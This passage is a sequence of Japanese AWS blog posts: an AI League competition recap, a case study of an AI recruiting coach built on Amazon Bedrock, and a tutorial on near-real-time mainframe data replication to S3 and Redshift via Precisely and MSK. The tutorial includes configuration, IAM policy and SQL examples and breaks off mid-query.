IAM クロスアカウントロールにより、 PII / PHI データの完全分離と最小権限アクセス制御を実現 詳細は本文： 保険ワークロード：データ分析基盤 をご覧ください。 まとめ 今回の「金融リファレンスアーキテクチャ日本版」におけるアップデートでは、従来ご提供してきたワークロードごとのリファレンスアーキテクチャに加え、実際のお客様事例をもとにした特定ユースケースにおける詳細なアーキテクチャの解説文書を公開しました。これにより、同様のユースケースで AWS を活用いただく際のアーキテクチャ検討に役立てていただくことを目指しています。内容に関するフィードバックやご質問は、 GitHub 上の issue としてご登録いただけます。皆様からのフィードバックをお待ちしております。 本ブログ記事は、AWS のソリューションアーキテクトである 樋口 健人、武方 総、髙木 香里、吉澤 稔、松本 耕一朗が執筆いたしました。

本稿は 2025 年 12 月 23 日に AWS Machine Learning Blog で公開された “ AWS AI League: Model customization and agentic showdown ” を翻訳したものです。 複雑な実務タスクに対応できるインテリジェントな AI エージェントを構築するのは、容易なことではありません。また、大規模な事前学習済み基盤モデルだけに頼るのではなく、企業は自社の特定ユースケースでより高いパフォーマンスを発揮できるよう、小規模で専門性の高いモデルをファインチューニングし、カスタマイズする必要がある場合も多いです。AWS AI League は、エージェンティック AI とモデルカスタマイゼーションの分野でイノベーションを促進する、エキサイティングなコンペティションを通じて、企業が高度な AI 能力を構築する際の課題を克服できるよう支援する革新的なプログラムを提供しています。 2025 年、初回の  AWS AI League コンペティション は、世界中の開発者、データサイエンティスト、ビジネスリーダーの注目を集めました。彼らは最新の AI ツールとテクニックを使用して喫緊の課題解決に取り組みました。AWS re:Invent 2025 のグランドフィナーレは、参加者たちの創意工夫とスキルを披露する、エキサイティングなイベントとなりました。主要企業の部門横断チームが直接対決し、効果的なプロンプトの作成、モデルのファインチューニング、そして強力な AI エージェントの構築能力を実証しました。 2025 年 AWS AI League チャンピオンの皆様、おめでとうございます！激戦の末、これら 3 名の優秀な構築者が勝利を収め、総額 $25,000 の賞金を分け合いました： 1 位：Cisco 所属の Hemanth Vediyera 2 位：Aqfer 所属の Ross Williams 3 位：Capital One 所属の Deepesh Khanna 図1: 左から順に Ross, Hemanth, Deepesh この記事では、AWS AI League プログラムを使用して AI コンペティションを開催する方法について説明します。 このプログラムにより、参加者はモデルカスタマイゼーションやエージェント構築の概念を体験し、それらを実際のビジネス課題解決に応用し、ゲーム形式の魅力的なフォーマットで革新的なソリューションを披露することができます。新たに導入されたエージェンティック AI とモデルカスタマイゼーションのチャレンジでは、企業が AWS クレジットを利用して社内トーナメントを主催したり、開発者が AWS イベントで競い合うことが可能です。 開始するには、 AWS AI League 製品ページ をご覧ください。 AWS AI League は、AWS エキスパートが主導する 2 時間のハンズオンワークショップから始まり、その後自分のペースでの実験が続きます。この旅路は、緊急のビジネス課題に対処する AI 作品とソリューションを披露する、魅力的なゲームショースタイルのグランドフィナーレで頂点に達します。以下の図は、これら 3 つのステップを示しています。 図2: AWS AI League チャンピオンシップのステップ 2025 年プログラムの成功を基盤として、 AWS AI League 2026 チャンピオンシップ の開始を発表できることを嬉しく思います。今年のコンペティションでは、参加者がAIスキルを真に試せる、2つの新しいチャレンジが導入されます。 エージェンティック AI チャレンジでは、 Amazon Bedrock AgentCore  を使用してインテリジェントエージェントを構築します。競技者は実世界のビジネス問題に取り組むためにカスタマイズされたエージェントアーキテクチャを作成します。 モデルカスタマイゼーションチャレンジはエージェンティック AI チャレンジを補完し、 SageMaker Studio  の最新のファインチューニングレシピを使用して特定のユースケース向けにモデルをカスタマイズします。 2026 AI League チャンピオンシップ では、賞金総額が $50,000 に倍増し、初心者から上級実践者まで、異なるスキルレベルの開発者に対応するトラックが用意されています。 AWS AI League には、Amazon Bedrock AgentCore を使用してインテリジェントなエージェントを構築し、ダイナミックなゲーム形式の競技で複雑な問題を解決する、エキサイティングなエージェンティック AI チャレンジが新たに加わりました。このチャレンジでは、エージェントが迷路のようなグリッド環境を進み、宝箱を目指しながら様々な課題に遭遇します。これらの課題は実際のユースケースを反映しており、不適切なコンテンツへの対処、コード実行、ブラウザ操作など、エージェントの能力が試されます。 エージェントには制限時間が設けられており、その間にマップを移動し、ポイントを集め、障害物を乗り越えて宝箱に到達しなければなりません。獲得ポイントが多いほど、リーダーボードでの順位が上がります。Amazon Bedrock AgentCore のプリミティブを使用してエージェントを完全にカスタマイズできるため、本番レベルのエージェントをより安全に拡張・管理することが可能です。また、スーパーバイザーやサブエージェントに特定のモデルを選択したり、 Bedrock Guardrails 、 AgentCore Memory 、 AWS Lambda  関数などのカスタムツールを作成して、エージェントが課題を乗り越えるのを支援できます。以下の図は、エージェントが宝箱に到達するまでに克服しなければならない障害物を示しています。 図3: AWS AI League エージェンティック AI チャレンジ AWS AI League は、ユーザーがインテリジェントなエージェントソリューションを構築するための完全な UI (ユーザーインターフェース)を提供しています。このノーコード UI を使用して、マルチエージェントアーキテクチャやツールを構築し、カスタム Lambda 関数やツールをインタラクティブにコーディングするための  Amazon SageMaker Studio CodeEditor  などの様々なコンポーネントを統合できます。これにより、環境を離れることなく、AWS AI League のウェブサイト内でエージェントベースのソリューションを完全に開発・カスタマイズすることが可能です。 以下のスクリーンショットは、AWS AI League のウェブサイト内で完結するエージェント構築体験を示しています。 図4: AWS AI League エージェントツール 図5: AWS AI League マルチエージェントアーキテクチャ 競技中、ユーザーはエージェントのパフォーマンスに関するリアルタイムフィードバックを受け取ります。LLM (大規模言語モデル)による評価システムが客観的な評価を提供し、改善のための反復作業を支援します。以下の画像は、チャレンジ中にエージェントがどのように評価されるかを示しています。 図6: AWS AI League エージェントチャレンジにおける評価 グランドフィナーレでは、上位のファイナリストがステージに上がり、ライブのゲームショー形式でエージェントの能力を披露します。これにより、複雑なマルチステップ問題を解決するエージェンティック AI の強力さと汎用性が実証されます。評価基準には、時間効率、チャレンジの解決精度、エージェントの計画能力、そしてトークン消費効率が含まれます。以下のスナップショットは、re:Invent 2025 でのグランドフィナーレ最終ラウンドの様子を示しています。 図7: AWS AI League re:Invent 2025 グランドフィナーレ AWS AI League の モデルカスタマイゼーションチャレンジ では対象範囲が拡大され、 最新のファインチューニング技術を活用できるようになりました。 Amazon SageMaker Studio  内で新しいモデルカスタマイゼーション体験にアクセスでき、強力な新しいトレーニングレシピを使用できます。目標は、より大規模な参照モデルのパフォーマンスを上回る、高度に効果的でドメイン特化型のモデルを開発することです。 チャレンジは、モデルカスタマイゼーションスキルを磨くことから始まります。学習したツールやテクニックを使用して、高度なファインチューニング手法を適用し、モデルのパフォーマンス向上を目指します。モデルのカスタマイズが完了すると、真の試練が始まります。カスタマイズしたモデルはリーダーボードに提出され、参照モデルと比較してパフォーマンスが評価されます。自動評価システムが、あなたのカスタマイズモデルの応答が参照モデルの出力よりも正確で包括的であると判断するたびに、ポイントが獲得できます。高度なスキルを披露し、リーダーボードのトップに上り詰め、組織にとって新たな機会を切り開く可能性があります。 チャレンジ中、リーダーボードに提出すると、自動評価システムからモデルのパフォーマンスに関するリアルタイムフィードバックを受け取ります。リーダーボードは競技期間を通じて、参照データセットに対して提出物を評価し、精度に関する即座のフィードバックを提供することで、ソリューションの反復改善を支援します。以下の画像は、カスタマイズされたモデルを評価するために AI による評価がどのように使用されるかを示しています。 図8: AWS AI League モデルカスタマイゼーションの評価 グランドフィナーレでは、上位のファイナリストがライブのゲームショー形式でモデルの能力を実証し、プロンプトエンジニアリングのスキルを披露します。ゲームショーでは、ドメインエキスパートとライブ観客がリアルタイム投票に参加し、どの AI ソリューションが実際のビジネス課題を最もよく解決するかを判断する専門家評価が得点に含まれます。以下の画像は、グランドフィナーレ中の参加者のプロンプトエンジニアリング画面を示しています。 図9: AWS AI League モデルカスタマイゼーショングランドフィナーレ参加者ビュー 本記事では、新しい AWS AI League のチャレンジと、それが組織の AI 開発アプローチをどのように変革しているかを紹介しました。AWS では、イノベーションを促進する最も効果的な方法は競争であることを学んできました。AWS AI League により、開発者は AI スキルを披露し、競い合い、イノベーションを解き放つことができるようになりました。 組織内で AWS AI League を開催する方法について詳しく知りたい場合は  AWS AI League  をご覧ください。また、インテリジェントなエージェントの構築や AI モデルのカスタマイゼーションについてより深く学ぶには、 AWS Skill Builder  の  AWS AIトレーニングカタログ をご活用ください。 本記事の翻訳はソリューションアーキテクトの大前遼が担当しました。 Marc Karp は、Amazon SageMaker Serviceチームの MLアーキテクトです。彼は、お客様が大規模なMLワークロードの設計、デプロイ、管理を支援することに重点を置いています。余暇には、旅行や新しい場所の探索を楽しんでいます。 Natasya K. Idries は、AWS AI/MLゲーミフィケーション学習プログラムのプロダクトマーケティングマネージャーです。彼女は、先進技術と実用的なビジネス実装の間のギャップを埋める魅力的で実践的な教育イニシアチブを通じて、AI/MLスキルの民主化に情熱を注いでいます。学習コミュニティの構築とデジタルイノベーションの推進における彼女の専門知識は、インパクトのあるAI教育プログラムの作成へのアプローチを形作り続けています。仕事以外では、Natasyaは旅行、東南アジア料理の調理、自然散策路の探索を楽しんでいます。

本ブログは株式会社サンブリッジ様と Amazon Web Services Japan が共同で執筆いたしました。 ※ サンブリッジ様の Website でも本事例を技術コラムとして公開されています。詳細はそちらも併せてご参照ください。 みなさん、こんにちは。AWS で営業を担当している垣見です。本記事では、採用担当者の育成効率化という社内課題に対し、生成 AI を活用して大きな成果を上げている株式会社サンブリッジ様（以下、サンブリッジ様）の取り組みをご紹介します。 株式会社サンブリッジ様 は、企業のビジネスモデルに合わせて AWS や Salesforce をはじめ、お客様の課題解決において最適なクラウドサービスを用いたビジネス分析や導入、運用までをワンストップでトータルコーディネートし、ビジネス拡大・業務改善を支援する企業です。同社では、採用担当者が未経験者であることに起因する CEO の育成負荷や、面接同席が困難な場合に CEO 視点での適切な回答ができないといった課題を抱えていました。これらの課題を解消するため、同社は Amazon Bedrock を活用して 採用担当向け育成 AI コーチを構築し、育成業務の自動化と品質向上を実現しました。 背景と課題 サンブリッジ様では、事業拡大に伴って採用活動が活発化する中、採用担当者の育成に関する課題が顕在化していました。特に、採用担当者の経験が浅い場合、面接準備や候補者対応における判断軸を CEO が直接指導する必要があり、育成に大きな時間を割かざるを得ない状況でした。また、CEO が面接に同席できない場面では、採用担当者だけでは CEO の視点に基づいた回答が難しく、候補者に対して一貫した質の高い説明を行うことが困難になることもありました。 採用面接は年間 720 回にのぼり、その半数以上に CEO が関与していたため、負担の軽減と育成プロセスの仕組み化が急務となっていました。育成ノウハウも CEO 個人に蓄積される傾向が強く、組織として採用力を高めるためには、知見の共有とプロセスの標準化が求められていました。 ソリューション構築のアプローチ こうした課題に対して、サンブリッジ様は Amazon Bedrock を中心に据えた「採用担当向け育成 AI コーチ」の構築に取り組みました。採用担当者が日常的に抱く疑問を即座に解消できるよう、Bedrock の大規模言語モデルを活用した対話型チャットボットを開発し、CEO が普段重視している判断ポイントや候補者との向き合い方を学習させることで、担当者がいつでも CEO の視点に近い回答を得られるようにしました。 あわせて、ナレッジの最新化を継続するために Slack と連携し、運用メンバーが日々の気づきや更新情報を手軽に蓄積できる環境を整備しました。また、採用業務に必要な基礎理解を確認できるよう、 RAG （Retrieval-Augmented Generation） を利用したテスト機能も実装し、問題作成から採点、フィードバック生成までを自動化しました。これにより、育成の進捗や理解度を定量的に把握することが可能になりました。 さらに、開発プロセスには AI コーディングアシスタントを活用し、新人エンジニア 1 名でわずか 2 週間という短期間でシステム全体を構築することに成功しました。アジャイルに試行錯誤できる環境が整ったことで、現場が求める機能を迅速に形にする体制が実現しました。 導入効果 育成 AI コーチの導入後、面接同席にかかる CEO の負担は大きく軽減されました。年間 720 回の面接のうち、これまで CEO の同席が必要とされていた場面の半数が AI による育成支援で対応可能となり、年間で 360 時間の削減につながりました。これは採用活動全体の効率化に大きく貢献しています。 また、面接中の質問対応についても、AI が CEO の視点を補完することで、年間280回の質問機会で社長視点で候補者へ回答することができるようになり、安定した回答品質を確保できるようになりました。採用担当者が CEO の意図を正確に理解するための情報提供が強化され、人によって対応がばらつくといった属人化の課題も解消に向かっています。加えて、RAG を活用したテスト機能により、担当者の理解度を把握しながら継続的にスキル向上を支援できるようになり、育成そのものの質も向上しました。 今後の展望とまとめ サンブリッジ様は生成 AI コンテストという外部イベントに参加することで、育成AIコーチのアイデアを短期間で具体化し、さらに実際の業務上の課題を解決する段階まで速やかに移行できました。今回構築した育成 AI コーチを基盤として、採用業務以外の領域への展開も視野に入れています。Slack を軸にしたナレッジ運用の仕組みは他部門でも活用可能であり、AI による判断支援の仕組みを組織全体へ広げていくことで、さらなる生産性向上が期待されています。 「AWS が提供する豊富な AI 関連ソリューションとアクセスしやすいインターフェイスの Slack を組み合わせることにより、弊社の育成課題の解決に繋がりました。継続的にアップデートしていきたいと考えています。」と語るのは株式会社サンブリッジ 代表取締役社長 兼 CEO の梶川 拓也氏です。今回の取り組みは、属人化した知見を AI によって標準化し、限られたリソースでも高い品質の育成と採用活動を実現するモデルケースとなりました。AWS を活用した迅速な開発と運用の仕組みが、今後の採用戦略における重要な基盤となっていくと考えられます。 垣見　健一 | Kakimi Kenichi 広域事業統括本部　広域営業本部　第一営業部

みなさん、こんにちは。現在メインフレームを利用されている方の中で、メインフレームシステム上の業務データを活用することで、ビジネス意思決定の高度化や新たなビジネス創出を行い、ビジネス価値を向上させる方法を検討されている方はいらっしゃいますでしょうか。こちらの検討をされている方は、多くのケースにおいて以下のような課題に直面されているのではないでしょうか。 メインフレームの処理能力が限界に近づいており、現行処理に影響しないようにデータ分析やデータ加工を行うことは難しい。 メインフレームからデータをエクスポートしたいが、データ構造や型変換に手間と時間がかかりデータ鮮度を高められない。 本ブログでは、これらの課題に対する一つの解決策である Precisely を用いたニアリアルタイムのデータ同期をご紹介します。この方法を使うことでデータ構造や形式を変換しながら、メインフレーム上の様々なデータソースから AWS 環境上のデータストアへ、ニアリアルタイムの同期を行うことで、外部システム上で鮮度の高いデータを用いてデータ活用を行うことが可能です。 Precisely を使用した AWS Mainframe Modernization Data Replication とは AWS Mainframe Modernization Data Replication は、Precisely 社の Change Data Capture (以下、CDC) テクノロジーを活用した、メインフレームのデータを AWS クラウドへ同期するためのソリューションです。メインフレーム上の様々なデータソースから AWS 環境上のデータストアへ、ニアリアルタイムのレプリケーションを実現します。 このソリューションの特徴としては、以下のようなものがあります。 CDC によるニアリアルタイムのレプリケーションの実現 メインフレームのデータソースへの負荷の配慮 Db2、IMS、VSAM などメインフレーム上の様々なデータソースへの対応 Amazon Managed Streaming for Apache Kafka (以下、MSK) と統合することによる、AWS サービスを直接ターゲットとするレプリケーションの実現 このソリューションは、以下のような様々なデータ利活用のユースケースに適用可能です。 AWS クラウド上のデータレイクやデータウェアハウスに同期したメインフレームデータを使った、BI による可視化や AI/ML による新たなデータの活用 AWS クラウド上のデータストアにニアリアルタイムで同期されたメインフレームデータに対する、新規ビジネスアプリケーションからのデータ参照 メインフレームのダウンタイムを最小化しながら、メインフレームアプリケーションおよびデータを AWS クラウドに移行する アーキテクチャ概要 実際にメインフレームからAWS クラウド上にデータを同期する際の、推奨する基本構成は以下のようになります。 このアーキテクチャは、Amazon EC2 インスタンスでデプロイされた Precisely Apply Engine を境目として、メインフレーム側と AWS クラウド側に分けられます。メインフレーム側から送信されたデータは、Apply Engine で処理・変換され、後続の AWS サービスに送られます。メインフレーム側にはログ収集用のエージェントがインストールされており、データを一定量蓄積した上でのバッチ送信またはログストリームのニアリアルタイム送信が可能です。AWSクラウド側には Apply Engine を構成することで、ホストから送信されたデータを後続のサービスで利用しやすい形式に加工しながら連携することが可能です。MSK と組み合わせることで、Amazon Redshift、Amazon S3、Amazon RDS、Amazon Aurora、AWS Lambda など、様々なサービスに対してニアリアルタイムなデータ連携が可能です。本ブログ上では、S3 と Redshift に連携するための構成方法を扱います。 データの活用シナリオ例 多くのメインフレーム上には、顧客情報、取引履歴、在庫データ、売上データなど、企業の基幹業務で扱われる重要な情報が含まれているかと思います。これらのデータを活用する例として、以下のようなシナリオを想定しながら今回の環境構築方法を紹介していきます。シナリオ例1としては、データの長期保存や機械学習での活用を主な目的として S3 にデータを格納する構成をご紹介します。シナリオ例2としては、より即時性を重視したニアリアルタイム分析やダッシュボード表示を可能とする Redshift にデータを格納する構成をご紹介します。 シナリオ例1）月次の監査実施タイミングで取引データや顧客行動データを個別抽出して不正取引を検出している金融機関が存在する。この状況に対して、Precisely を用いて当該データをニアリアルタイムで抽出し S3 に蓄積するよう変更を行うことで、日々の最新データを用いて不正取引検出を行い、迅速に自動アラートを発信することが可能になる。 シナリオ例2）製造ラインの各工程で生成される品質データや稼働データをメインフレームに蓄積し、日次レポートで品質傾向を把握している製造業企業が存在する。この状況に対して、Precisely を用いて、製造工程での品質データ・稼働データ生成と同時に Redshift に格納するよう変更を行うことで、品質異常や設備故障の兆候を数分以内に検知し、生産ライン停止前の予防保全を実現できるようになる。 詳細な設定方法 Precisely Connect Apply Engine の準備 Precisely の Apply Engine を利用するための最も簡単な方法は AWS マーケットプレイスに準備された、 Precisely Connect のアプライエンジンを構成するための EC2 の AMI を利用することです。この AMI には、「インストール済みのソフトウェアスタック」「作成・初期化済みのレプリケーションインスタンス」「Amazon CloudWatch と統合済みのプロセスとマーケットプレイスと統合済みのレプリケーションサービス」が導入済みのため、EC2 インスタンス起動後にすぐに利用を開始することができます。マーケットプレイスから「AWS Mainframe Modernization – Data Replication for IBM z/OS」を検索し、サブスクライブを行うことで、該当の AMI を利用した EC2 インスタンスを起動できるようになります。 上記 AMI を用いて EC2 インスタンスを起動した後には、インスタンスにログインを行い、レプリケーションを行うための構成を行います。構成のための詳細手順は、 Precisely Connect の構成手順のドキュメント を参照してください。 本ブログでは、Apply Engine 以降の処理の確認に焦点を当てるため、メインフレーム環境は使用せずに、EC2 インスタンス上に配置したサンプルファイルをデータソースとして、後続のターゲットに対してレプリケーションを行うアプライスクリプトをご紹介します。 [売上明細のサンプル (CSV)] データソースとして使用した CSV の各列の意味は store_id: 店舗ID, product_id: 商品ID, amount: 数量, unit_price: 単価, total_price: 合計金額, timestamp: 売上日時 であり、実際のファイルは以下となります。 3,1008,6,1000,credit,2024-04-01 09:39:00,6000 3,1005,2,200,mobile,2024-04-01 14:00:00,400 2,1004,3,2000,credit,2024-04-03 11:19:00,6000 5,1001,9,200,mobile,2024-04-03 12:17:00,1800 4,1009,8,500,cash,2024-04-03 17:29:00,4000 4,1007,10,100,debit,2024-04-03 20:24:00,1000 1,1004,4,100,mobile,2024-04-04 13:22:00,400 2,1006,1,200,mobile,2024-04-05 14:02:00,200 4,1002,8,1500,mobile,2024-04-05 15:55:00,12000 4,1001,1,1000,cash,2024-04-05 17:35:00,1000 ... [サンプルのアプライスクリプト] 実際に使用したアプライスクリプトは以下の通りです。 JOBNAME sales_test_job; REPORT ./SALES_TEST_JOB.rpt; BEGIN GROUP SOURCE; DESCRIPTION SQLDDL /+ CREATE TABLE SALES ( STORE_ID INTEGER, PRODUCT_ID INTEGER, AMOUNT DECIMAL(10), UNIT_PRICE DECIMAL(10), TOTAL_PRICE DECIMAL(10), SALES_DATETIME TIMESTAMP ) +/ AS SALES; END GROUP; BEGIN GROUP TARGET; DESCRIPTION SQLDDL /+ CREATE TABLE T_SALES ( STORE_ID INTEGER, PRODUCT_ID INTEGER, AMOUNT DECIMAL(10), UNIT_PRICE DECIMAL(10), TOTAL_PRICE DECIMAL(10), SALES_DATETIME TIMESTAMP ) +/ AS T_SALES; END GROUP; DATASTORE ./input.csv OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_IN DESCRIBED BY GROUP SOURCE; DATASTORE kafka:///<topic名> OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_OUT DESCRIBED BY GROUP TARGET; PROCESS INTO FILE_OUT SELECT { REPLICATE(FILE_OUT) } FROM FILE_IN; MSK の準備 次に、Apply Engine から送信されたデータを処理する MSK 部分を構築します。構築の最初のステップは、マネジメントコンソールで、MSK のコンソール画面に移動して、MSK クラスターを作成することから始まります。Apply Engine と MSK クラスターが安全に通信するために、今回は同じ VPC 内に両者が存在する構成を採用します。クラスタータイプは Provisioned を選び、Apply Engine の VPC へ配置していきます。Apache Kafka バージョンは要件によって変わりますが、今回は特殊要件は想定しないため最新版を選びます。 ブローカーは Standard を選択し、ブローカーサイズは、後続処理として VPC プライベート接続が必要な Amazon Data Firehose を利用するため、VPC プライベート接続が利用可能な m5.large インスタンスを利用します。ブローカーのゾーン数は配置先の VPC と合わせて数を選択します。今回は 2 を利用します。ゾーンあたりのブローカー数は、1つを選択します。要件に応じて一つのゾーン (AZ) に複数のブローカーを配置することも可能です。今回は、クラスターのストレージはデフォルト値を利用します。 続いて、ネットワーク設定を行います。まずは対象として Apply Engine が展開された VPC を選択します。そして「最初のゾーン」として、指定した AZ それぞれに対応するサブネットを選択します。セキュリティグループについては、Apply Engine ホストと EC2 の両方に同一なセキュリティグループを使用するか、Kafka が利用するポートが開放され接続・疎通が可能なセキュリティグループを準備して指定してください。 関連するリソースが MSK にアクセスできるように、必要な権限設定を許可します。今回は以下の設定を使用します。 Apply Engine との接続はユーザー名とパスワードを用いるため、SASL/SCRAM 認証を有効にする。 MSK から Data Firehose へ接続するため、IAM ロールベースの認証を有効にする。 次にモニタリングに関する設定をして、クラスターをデプロイします。クラスターの立ち上げは 数十分程度かかる場合があります。立ち上げが完了してから、接続許可の変更および Apply Engine からデータを連携するために、MSK のトピックを作成し設定します。 MSK でトピックを作成する方法はいくつかありますが、今回は Amazon MSK のDeveloper Guide に従って、クライアントとして利用している EC2 インスタンスから Kafka を操作する方法を採用します。詳細の設定手順は同 Developer Guide の こちら を参考してください。必要な作業ステップ概要は以下となります。ここで作成したトピック情報は、後続の送受信設定で使用します。 MSK クラスターを操作する権限のある IAM ロールを作成する。 上記操作権限を持つロールが付与された EC2 インスタンスを立ち上げる。MSK クラスターと疎通できるように、セキュリティグループなどを設定する。（Apply Engine がホストされた EC2 で代用可能） EC2 にログインして、MSK クラスターで展開された Kafka のバージョンに対応した Kafka パッケージをダウンロードして設定する。 疎通を確認してから、MSK クラスターの BootstrapServer に対して、Apply Engine の出力連携用のトピックを作成する。 最後に、以下図のようにMSK クラスターのネットワーク設定でマルチ VPC 接続を有効にして、クラスターポリシーでも Data Firehose からの接続を許可します。 Apply Engine から MSK への接続 MSK クラスターの設定の後には、実際に Apply Engine から MSK の間でデータ送受信の確認を行います。具体的には、Apply Engine の設定時に利用したデータ変換スクリプトを書き換えて実際の通信を行います。設定変更のポイントは、送信先を指定する TARGET DATASTORE のセクションで、DATASTORE の部分をトピック名（ kafka:///<topic名> ）に指定することです。実際のスクリプト例は以下となります。なお、今回はデータのフォーマット変換は行わず、直接 MSK へ送信します。 DATASTORE kafka:///<topic名> OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_OUT DESCRIBED BY GROUP TARGET; 次に、MSK 側にて Apply Engine の認証設定を行います。Apply Engine が利用するユーザー名とパスワードを以下図のように Secrets Manager に保管します。暗号化にはカスタムキーによる暗号化を利用します。カスタムキーは AWS Key Management Service (KMS) を用いて作成できます。AWS マネージドキーを利用すると MSK では関連付けできませんのでご注意ください。具体的にはシークレットを作成してから、以下図のように、MSK クラスターのセキュリティ設定で関連付けを行います。なお、シークレットを作成するとき、命名ルールとして、AmazonMSK_のプレフィックスが必須です。 最後に、Apply Engine がホストされたインスタンスで、Apply Engine の設定を変更します。Apply Engine のワーキングディレクトリ上で、データ送信用の設定ファイル ( sqdata_kafka_producer.conf ) を、作成した環境に合わせて以下のように書き換えます。 builtin.features=SASL_SCRAM security.protocol=SASL_SSL sasl.mechanism=SCRAM-SHA-512 sasl.username=<シークレットで保管された username> sasl.password=<シークレットで保管された password> metadata.broker.list=<MSK クラスターの broker URL> その後 Apply Engine でデータ変換スクリプトを以下のコマンドでコンパイルして実行すれば、MSK トピックに対してデータ送信が行われます。 sqdparse <JOB_SCRIPT>.sqd <JOB_SCRIPT>.prc sqdata <JOB_SCRIPT>.prc Data Firehose を通した S3 への接続（シナリオ例1） ここまでの作業により、メインフレームのデータが MSK トピックにニアリアルタイムで送信されるようになりました。後段の構成としてまずは、シナリオ例1を実現するために、MSK で受信されたデータを、Data Firehose を通して S3 データレイクに連携する構成方法をご紹介します。MSK から直接 S3 サービスへデータを連携することもできますが、今回は S3 に格納するデータを柔軟に加工できることを重視して Data Firehose に接続した上で S3 に連携する構成を利用します。Data Firehose を利用することで自動的なデータの圧縮、暗号化、パーティション分割を実現することが可能です。 IAM ロールとポリシーの作成 Data Firehose が MSK からイベントを取得するために、まずは MSK クラスター、トピック、グループへアクセスできる IAM ロールとポリシーを作成します。同時に、送信先である S3 バケットへのアクセス権限を付与します。IAM ロール例は以下となります。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "kafka-cluster:Connect", "kafka-cluster:AlterCluster", "kafka-cluster:DescribeCluster" ], "Resource": "arn:aws:kafka:region:012345678901:cluster/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:*Topic*", "kafka-cluster:WriteData", "kafka-cluster:ReadData" ], "Resource": "arn:aws:kafka:region:012345678901:topic/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:AlterGroup", "kafka-cluster:DescribeGroup" ], "Resource": "arn:aws:kafka:region:012345678901:group/cluster-name/*" }, { "Effect": "Allow", "Action": [ "s3:PutObject", "s3:GetObject", "s3:ListBucket", "s3:ListBucketMultipartUploads", "s3:GetBucketLocation", "s3:AbortMultipartUpload" ], "Resource": [ "arn:aws:s3:::your-bucket-name", "arn:aws:s3:::your-bucket-name/*" ] } ] } MSK クラスターポリシーの設定 MSK 側のクラスターポリシーでも Data Firehose からのアクセスを許可しておく必要があります。具体的な設定方法は、 Amazon MSK の Firehose 統合 、 Amazon MSK のソース設定を構成する を参照ください。 Data Firehose の作成 次に、データソースを MSK クラスター、送信先を S3 バケットとした Data Firehose の作成を行います。手順は以下の通りです。 Amazon Data Firehose コンソールで「Create delivery stream」を選択 Source として「Amazon MSK」を選択 MSK クラスター、トピック名、開始位置を指定 Destination として「Amazon S3」を選択 S3 バケット名とプレフィックスを設定 作成した IAM ロールを指定 設定の完了後に状態がアクティブになれば、Apply Engine から MSK と Data Firehose を経由して S3 へのデータ送信が可能になります。Apply Engine でデータ送信を実施すれば、送信先の S3 バケットで新オブジェクトが作成されることを確認可能です。 Redshift への直接接続（シナリオ例2） 次に、シナリオ例2を実現するために、MSK で受信されたデータを Amazon Redshift に直接連携 (ストリーミング統合) する構成方法をご紹介します。この場合、Redshift のマテリアライズドビューを使用してニアリアルタイムデータ取り込みを実現します。 IAM ロールとポリシーの作成 まず準備として、Redshift 用の MSK クラスター、トピック、グループにアクセスしてデータを取得する権限を持つ IAM ポリシーが付与された IAM ロールを作成します。IAM ロール例は以下となります。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "kafka-cluster:Connect", "kafka-cluster:AlterCluster", "kafka-cluster:DescribeCluster" ], "Resource": "arn:aws:kafka:region:012345678901:cluster/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:*Topic*", "kafka-cluster:WriteData", "kafka-cluster:ReadData" ], "Resource": "arn:aws:kafka:region:012345678901:topic/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:AlterGroup", "kafka-cluster:DescribeGroup" ], "Resource": "arn:aws:kafka:region:012345678901:group/cluster-name/*" } ] } Redshift クラスターの作成 次に作成したロールを適応済みの、拡張された VPC ルーティングを有効にした Redshift クラスターを作成して、利用可能な状態にします。Redshift クラスターの作成の詳細については Amazon Redshift 管理ガイド を参照してください。 スキーマとマテリアライズドビューの作成 Redshift が利用可能な状態になってから、送信されたデータの受け皿となるデータベースを作成します。クエリエディターなどで作成したデータベースへアクセスして、データを受け入れる外部スキーマを例えば以下の SQL で作成します。 CREATE EXTERNAL SCHEMA msk_schema FROM MSK IAM_ROLE 'arn:aws:iam::012345678901:role/MSK_access_role' AUTHENTICATION IAM URI 'b-1.<clustername>.123456.c2.kafka.<region>.amazonaws.com:9098,b-2.<clustername>.123z8u.c2.kafka.<region>.amazonaws.com:9098' 次に、受信したデータを集約するマテリアライズドビューを作成します。AUTO REFRESH を有効にすることで、MSK からの新しいデータが自動的に反映されます。ここまでできれば MSK と Redshift の間でデータ連携を行うことが可能です。 CREATE MATERIALIZED VIEW realtime_data_view AUTO REFRESH YES AS SELECT * FROM msk_schema."<topic_name>"; データ変換とビジネス分析用ビューの作成 実際にデータ連携を行うと、作成したビューの中では、kafka_value のカラムに受信したレコードのデータがそのまま保管されていることがわかるかと思います。このままではビジネス分析に必要なデータ参照がやりにくいため、受信したデータを整形処理したマテリアライズドビューを改めて作成します。今回のサンプルデータで売上データを集計するために、以下のような変換を行います。 CREATE MATERIALIZED VIEW sales_data_view DISTKEY(store_id) SORTKEY(product_id) AS SELECT NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 1)), '')::INT AS store_id, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 2)), '')::INT AS product_id, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 3)), '')::INT AS amount, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 4)), '')::INT AS unit_price, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 5)), '')::INT AS total_price, TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 6)) AS timestamp FROM msk_schema."<topic_name>" WHERE kafka_value IS NOT NULL AND kafka_value::VARCHAR != '' 実際にビューとして確認できるデータ内容は以下の通りです。 ニアリアルタイム分析の実行 その上で、作成したビューを使用して、ニアリアルタイムでの売上分析や異常検出クエリを実行できます。 -- 直近1時間の店舗別売上集計 SELECT store_id, SUM(total_price) as hourly_sales FROM sales_data_view WHERE timestamp >= 